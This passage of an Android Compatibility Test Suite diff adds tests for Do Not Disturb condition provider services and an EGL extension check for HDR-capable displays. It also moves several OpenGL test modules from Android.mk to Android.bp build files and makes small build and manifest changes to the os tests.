+import android.app.AutomaticZenRule;
+import android.app.Instrumentation;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.util.ArraySet;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+@RunWith(AndroidJUnit4.class)
+public class ConditionProviderServiceTest {
+    private static String TAG = "CpsTest";
+
+    private NotificationManager mNm;
+    private ActivityManager mActivityManager;
+    private Context mContext;
+    private ArraySet<String> ids = new ArraySet<>();
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        toggleNotificationPolicyAccess(mContext.getPackageName(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        LegacyConditionProviderService.requestRebind(LegacyConditionProviderService.getId());
+        SecondaryConditionProviderService.requestRebind(SecondaryConditionProviderService.getId());
+        mNm = (NotificationManager) mContext.getSystemService(
+                Context.NOTIFICATION_SERVICE);
+        mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        try {
+            for (String id : ids) {
+                if (id != null) {
+                    if (!mNm.removeAutomaticZenRule(id)) {
+                        throw new Exception("Could not remove rule " + id);
+                    }
+
+                    assertNull(mNm.getAutomaticZenRule(id));
+                }
+            }
+        } finally {
+            toggleNotificationPolicyAccess(mContext.getPackageName(),
+                    InstrumentationRegistry.getInstrumentation(), false);
+            pollForConnection(LegacyConditionProviderService.class, false);
+            pollForConnection(SecondaryConditionProviderService.class, false);
+        }
+    }
+
+    @Test
+    public void testUnboundCPSMaintainsCondition_addsNewRule() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        // make sure service get bound
+        pollForConnection(SecondaryConditionProviderService.class, true);
+
+        final ComponentName cn = SecondaryConditionProviderService.getId();
+
+        // add rule
+        addRule(cn, INTERRUPTION_FILTER_ALARMS, true);
+        pollForSubscribe(SecondaryConditionProviderService.getInstance());
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // unbind service
+        SecondaryConditionProviderService.getInstance().requestUnbind();
+
+        // verify that DND state doesn't change
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // add a new rule
+        addRule(cn, INTERRUPTION_FILTER_NONE, true);
+
+        // verify that the unbound service maintains it's DND vote
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+    }
+
+    @Test
+    public void testUnboundCPSMaintainsCondition_otherConditionChanges() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        // make sure both services get bound
+        pollForConnection(LegacyConditionProviderService.class, true);
+        pollForConnection(SecondaryConditionProviderService.class, true);
+
+        // add rules for both
+        addRule(LegacyConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, true);
+        pollForSubscribe(LegacyConditionProviderService.getInstance());
+
+        addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_ALARMS, true);
+        pollForSubscribe(SecondaryConditionProviderService.getInstance());
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // unbind one of the services
+        SecondaryConditionProviderService.getInstance().requestUnbind();
+
+        // verify that DND state doesn't change
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // trigger a change in the bound service's condition
+        ((LegacyConditionProviderService) LegacyConditionProviderService.getInstance())
+                .toggleDND(false);
+
+        // verify that the unbound service maintains it's DND vote
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+    }
+
+    @Test
+    public void testUnboundCPSMaintainsCondition_otherProviderRuleChanges() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        // make sure both services get bound
+        pollForConnection(LegacyConditionProviderService.class, true);
+        pollForConnection(SecondaryConditionProviderService.class, true);
+
+        // add rules for both
+        addRule(LegacyConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, true);
+        pollForSubscribe(LegacyConditionProviderService.getInstance());
+
+        addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_ALARMS, true);
+        pollForSubscribe(SecondaryConditionProviderService.getInstance());
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // unbind one of the services
+        SecondaryConditionProviderService.getInstance().requestUnbind();
+
+        // verify that DND state doesn't change
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // trigger a change in the bound service's rule
+        addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, false);
+
+        // verify that the unbound service maintains it's DND vote
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+    }
+
+    private void addRule(ComponentName cn, int filter, boolean enabled) {
+        String id = mNm.addAutomaticZenRule(new AutomaticZenRule("name",
+                cn, Uri.EMPTY, filter, enabled));
+        Log.d(TAG, "Created rule with id " + id);
+        ids.add(id);
+    }
+
+    private void toggleNotificationPolicyAccess(String packageName,
+            Instrumentation instrumentation, boolean on) throws IOException {
+
+        String command = " cmd notification " + (on ? "allow_dnd " : "disallow_dnd ") + packageName;
+
+        runCommand(command, instrumentation);
+
+        NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+        Assert.assertEquals("Notification Policy Access Grant is " +
+                        nm.isNotificationPolicyAccessGranted() + " not " + on, on,
+                nm.isNotificationPolicyAccessGranted());
+    }
+
+    private void runCommand(String command, Instrumentation instrumentation) throws IOException {
+        UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        // Execute command
+        try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
+            Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+            // Wait for the command to finish by reading until EOF
+            try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+                byte[] buffer = new byte[4096];
+                while (in.read(buffer) > 0) {}
+            } catch (IOException e) {
+                throw new IOException("Could not read stdout of command: " + command, e);
+            }
+        } finally {
+            uiAutomation.destroy();
+        }
+    }
+
+    private void pollForSubscribe(PollableConditionProviderService service)  throws Exception {
+        int tries = 30;
+        int delayMs = 200;
+
+        while (tries-- > 0 && !service.subscribed) {
+            try {
+                Thread.sleep(delayMs);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+
+        if (!service.subscribed) {
+            Log.d(TAG, "not subscribed");
+            throw new Exception("Service never got onSubscribe()");
+        }
+    }
+
+    private void pollForConnection(Class<? extends PollableConditionProviderService> service,
+            boolean waitForConnection) throws Exception {
+        int tries = 100;
+        int delayMs = 200;
+
+        PollableConditionProviderService instance =
+                (PollableConditionProviderService) service.getMethod("getInstance").invoke(null);
+
+        while (tries-- > 0 && (waitForConnection ? instance == null : instance != null)) {
+            try {
+                Thread.sleep(delayMs);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            instance = (PollableConditionProviderService) service.getMethod("getInstance")
+                    .invoke(null);
+        }
+
+        if (waitForConnection && instance == null) {
+            Log.d(TAG, service.getName() + " not bound");
+            throw new Exception("CPS never bound");
+        } else if (!waitForConnection && instance != null) {
+            Log.d(TAG, service.getName() + " still bound");
+            throw new Exception("CPS still bound");
+        } else {
+            Log.d(TAG, service.getName() + " has a correct bind state");
+        }
+    }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
new file mode 100644
index 0000000..72d5d3e
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.content.ComponentName;
+import android.service.notification.Condition;
+
+public class LegacyConditionProviderService extends PollableConditionProviderService {
+    private static PollableConditionProviderService sInstance = null;
+
+    public static ComponentName getId() {
+        return new ComponentName(LegacyConditionProviderService.class.getPackage().getName(),
+                LegacyConditionProviderService.class.getName());
+    }
+
+    public static PollableConditionProviderService getInstance() {
+        return sInstance;
+    }
+
+    @Override
+    public void onConnected() {
+        super.onConnected();
+        sInstance = this;
+    }
+
+    @Override
+    public void onDestroy() {
+        sInstance = null;
+        super.onDestroy();
+    }
+
+    public void toggleDND(boolean on) {
+        notifyCondition(
+                new Condition(conditionId, "", on ? Condition.STATE_TRUE : Condition.STATE_FALSE));
+    }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index 4b5228e..ec9a520 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -44,6 +44,7 @@
 
 import junit.framework.Assert;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -77,6 +78,12 @@
         mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
     }
 
+    @After
+    public void tearDown() throws Exception {
+        toggleListenerAccess(MockNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), false);
+    }
+
     @Test
     public void testPrePCannotToggleAlarmsAndMediaTest() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
@@ -168,9 +175,6 @@
 
     @Test
     public void testSuspendPackage() throws Exception {
-        if (mActivityManager.isLowRamDevice()) {
-            return;
-        }
         toggleListenerAccess(MockNotificationListener.getId(),
                 InstrumentationRegistry.getInstrumentation(), true);
         Thread.sleep(500); // wait for listener to be allowed
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
new file mode 100644
index 0000000..226c96f
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.net.Uri;
+import android.service.notification.Condition;
+import android.service.notification.ConditionProviderService;
+import android.util.Log;
+
+public abstract class PollableConditionProviderService extends ConditionProviderService {
+    final static String TAG = "CtsCps";
+
+    boolean isConnected;
+    boolean subscribed;
+    Uri conditionId;
+
+    @Override
+    public void onConnected() {
+        Log.d(TAG, getClass().getName() + " Connected");
+        isConnected = true;
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(TAG, getClass().getName() + " Destroyed");
+        isConnected = false;
+        super.onDestroy();
+    }
+
+    @Override
+    public void onSubscribe(Uri conditionId) {
+        Log.d(TAG, getClass().getName() + " got subscribe");
+        subscribed = true;
+        this.conditionId = conditionId;
+        notifyCondition(new Condition(conditionId, "", Condition.STATE_TRUE));
+    }
+
+    @Override
+    public void onUnsubscribe(Uri conditionId) {
+        Log.d(TAG, getClass().getName() + " got unsubscribe");
+        subscribed = false;
+        this.conditionId = null;
+    }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
new file mode 100644
index 0000000..2310a30
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.content.ComponentName;
+
+public class SecondaryConditionProviderService extends PollableConditionProviderService {
+    private static PollableConditionProviderService sInstance = null;
+
+    public static ComponentName getId() {
+        return new ComponentName(SecondaryConditionProviderService.class.getPackage().getName(),
+                SecondaryConditionProviderService.class.getName());
+    }
+
+    public static PollableConditionProviderService getInstance() {
+        return sInstance;
+    }
+
+    @Override
+    public void onConnected() {
+        super.onConnected();
+        sInstance = this;
+    }
+
+    @Override
+    public void onDestroy() {
+        sInstance = null;
+        super.onDestroy();
+    }
+
+}
diff --git a/tests/tests/opengl/Android.bp b/tests/tests/opengl/Android.bp
new file mode 100644
index 0000000..39148e0
--- /dev/null
+++ b/tests/tests/opengl/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsOpenGLTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    jni_libs: ["libopengltest_jni"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Using EGL_RECORDABLE_ANDROID requires latest
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/opengl/Android.mk b/tests/tests/opengl/Android.mk
deleted file mode 100644
index 0b75847..0000000
--- a/tests/tests/opengl/Android.mk
+++ /dev/null
@@ -1,47 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsOpenGLTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JNI_SHARED_LIBRARIES := libopengltest_jni
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Using EGL_RECORDABLE_ANDROID requires latest
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-# Include the associated library's makefile.
-include $(LOCAL_PATH)/libopengltest/Android.mk
diff --git a/tests/tests/opengl/libopengltest/Android.bp b/tests/tests/opengl/libopengltest/Android.bp
new file mode 100644
index 0000000..bdff5f0
--- /dev/null
+++ b/tests/tests/opengl/libopengltest/Android.bp
@@ -0,0 +1,51 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+cc_test_library {
+    name: "libopengltest_jni",
+    srcs: [
+        "common.cpp",
+        "gl2_jni_libone.cpp",
+        "attach_shader_one.cpp",
+        "attach_shader_two.cpp",
+        "attach_shader_three.cpp",
+        "attach_shader_four.cpp",
+        "attach_shader_five.cpp",
+        "attach_shader_six.cpp",
+        "attach_shader_seven.cpp",
+        "attach_shader_eight.cpp",
+        "attach_shader_nine.cpp",
+        "attach_shader_ten.cpp",
+        "attach_shader_eleven.cpp",
+        "color_one.cpp",
+    ],
+    sdk_version: "current",
+    stl: "none",
+    shared_libs: [
+        "libGLESv2",
+        "liblog",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-Wno-sign-compare",
+        "-Wno-unused-function",
+        "-Wno-unused-variable",
+    ],
+}
diff --git a/tests/tests/opengl/libopengltest/Android.mk b/tests/tests/opengl/libopengltest/Android.mk
deleted file mode 100755
index aed011a..0000000
--- a/tests/tests/opengl/libopengltest/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-LOCAL_MODULE := libopengltest_jni
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := common.cpp \
-                   gl2_jni_libone.cpp \
-                   attach_shader_one.cpp \
-                   attach_shader_two.cpp \
-                   attach_shader_three.cpp \
-                   attach_shader_four.cpp \
-                   attach_shader_five.cpp \
-                   attach_shader_six.cpp \
-                   attach_shader_seven.cpp \
-                   attach_shader_eight.cpp \
-                   attach_shader_nine.cpp \
-                   attach_shader_ten.cpp \
-                   attach_shader_eleven.cpp \
-                   color_one.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := none
-
-LOCAL_SHARED_LIBRARIES := libGLESv2 liblog
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-LOCAL_CFLAGS += -Wno-sign-compare -Wno-unused-function -Wno-unused-variable
-
-include $(BUILD_SHARED_LIBRARY)
-
-
-
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
index 7ba9435..d349f81 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
@@ -264,6 +264,50 @@
         }
     }
 
+    @CddTest(requirement="7.1.4.5/H-1-1")
+    @Test
+    public void testRequiredEglExtensionsForHdrCapableDisplay() {
+        // See CDD section 7.1.4
+        // This test covers the EGL portion of the CDD requirement. The VK portion of the
+        // requirement is covered elsewhere.
+        final String requiredEglList[] = {
+            "EGL_EXT_gl_colorspace_bt2020_pq",
+            "EGL_EXT_surface_SMPTE2086_metadata",
+            "EGL_EXT_surface_CTA861_3_metadata",
+        };
+
+        // This requirement only applies if device is handheld and claims to be HDR capable.
+        boolean isHdrCapable = mActivity.getResources().getConfiguration().isScreenHdr();
+        if (!isHdrCapable || !isHandheld())
+            return;
+
+        EGL10 egl = (EGL10) EGLContext.getEGL();
+        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+
+        if (egl.eglInitialize(display, null)) {
+            try {
+                String eglExtensions = egl.eglQueryString(display, EGL10.EGL_EXTENSIONS);
+                for (int i = 0; i < requiredEglList.length; ++i) {
+                    assertTrue("EGL extension required by CDD section 7.1.4.5 missing: " +
+                        requiredEglList[i], hasExtension(eglExtensions, requiredEglList[i]));
+                }
+            } finally {
+                egl.eglTerminate(display);
+            }
+        } else {
+            Log.e(TAG, "Couldn't initialize EGL.");
+        }
+    }
+
+    private boolean isHandheld() {
+        // handheld nature is not exposed to package manager, for now
+        // we check for touchscreen and NOT watch and NOT tv
+        PackageManager pm = mActivity.getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_TOUCHSCREEN)
+                && !pm.hasSystemFeature(pm.FEATURE_WATCH)
+                && !pm.hasSystemFeature(pm.FEATURE_TELEVISION);
+    }
+
     private static boolean hasExtension(String extensions, String name) {
         return OpenGlEsVersionCtsActivity.hasExtension(extensions, name);
     }
diff --git a/tests/tests/openglperf/Android.bp b/tests/tests/openglperf/Android.bp
new file mode 100644
index 0000000..8960491
--- /dev/null
+++ b/tests/tests/openglperf/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsOpenGlPerfTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    jni_libs: [
+        "libctsopenglperf_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+    instrumentation_for: "com.replica.replicaisland",
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/openglperf/Android.mk b/tests/tests/openglperf/Android.mk
deleted file mode 100644
index 03ba008..0000000
--- a/tests/tests/openglperf/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := libctsopenglperf_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsOpenGlPerfTestCases
-
-LOCAL_INSTRUMENTATION_FOR := com.replica.replicaisland
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/openglperf/jni/Android.bp b/tests/tests/openglperf/jni/Android.bp
new file mode 100644
index 0000000..6b9987d
--- /dev/null
+++ b/tests/tests/openglperf/jni/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libctsopenglperf_jni",
+    srcs: ["OpenGlPerfNativeJni.cpp"],
+    include_dirs: [
+        "system/core/include",
+        "frameworks/native/opengl/include",
+    ],
+    shared_libs: [
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libEGL",
+    ],
+    sdk_version: "19",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+}
diff --git a/tests/tests/openglperf/jni/Android.mk b/tests/tests/openglperf/jni/Android.mk
deleted file mode 100644
index fef30a1..0000000
--- a/tests/tests/openglperf/jni/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libctsopenglperf_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := OpenGlPerfNativeJni.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(call include-path-for, system-core) frameworks/native/opengl/include
-
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libEGL
-
-LOCAL_SDK_VERSION := 14
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index cc14790..8f2a947 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -25,6 +25,7 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
+    android.hidl.manager-V1.0-java \
     androidx.test.rules \
     compatibility-device-util-axt \
     ctstestrunner-axt \
@@ -40,10 +41,14 @@
     src/android/os/cts/IEmptyService.aidl \
     src/android/os/cts/ISeccompIsolatedService.aidl \
     src/android/os/cts/ISecondary.aidl \
-    src/android/os/cts/ISharedMemoryService.aidl
+    src/android/os/cts/ISharedMemoryService.aidl \
+    src/android/os/cts/IParcelExceptionService.aidl \
 
 LOCAL_PACKAGE_NAME := CtsOsTestCases
 
+# Set its own test config to prevent sharing with cts-platform-version-check
+LOCAL_TEST_CONFIG := CtsOsTestCases.xml
+
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
@@ -56,6 +61,8 @@
 # Do not compress minijail policy files.
 LOCAL_AAPT_FLAGS := -0 .policy
 
+LOCAL_USE_AAPT2 := true
+
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index ef4893e..ffeac0a 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -80,6 +80,10 @@
             android:name="android.os.cts.SharedMemoryService"
             android:process=":sharedmem"
             android:exported="false" />
+        <service
+            android:name="android.os.cts.ParcelExceptionService"
+            android:process=":remote"
+            android:exported="true" />
 
         <service android:name="android.os.cts.LocalService">
             <intent-filter>
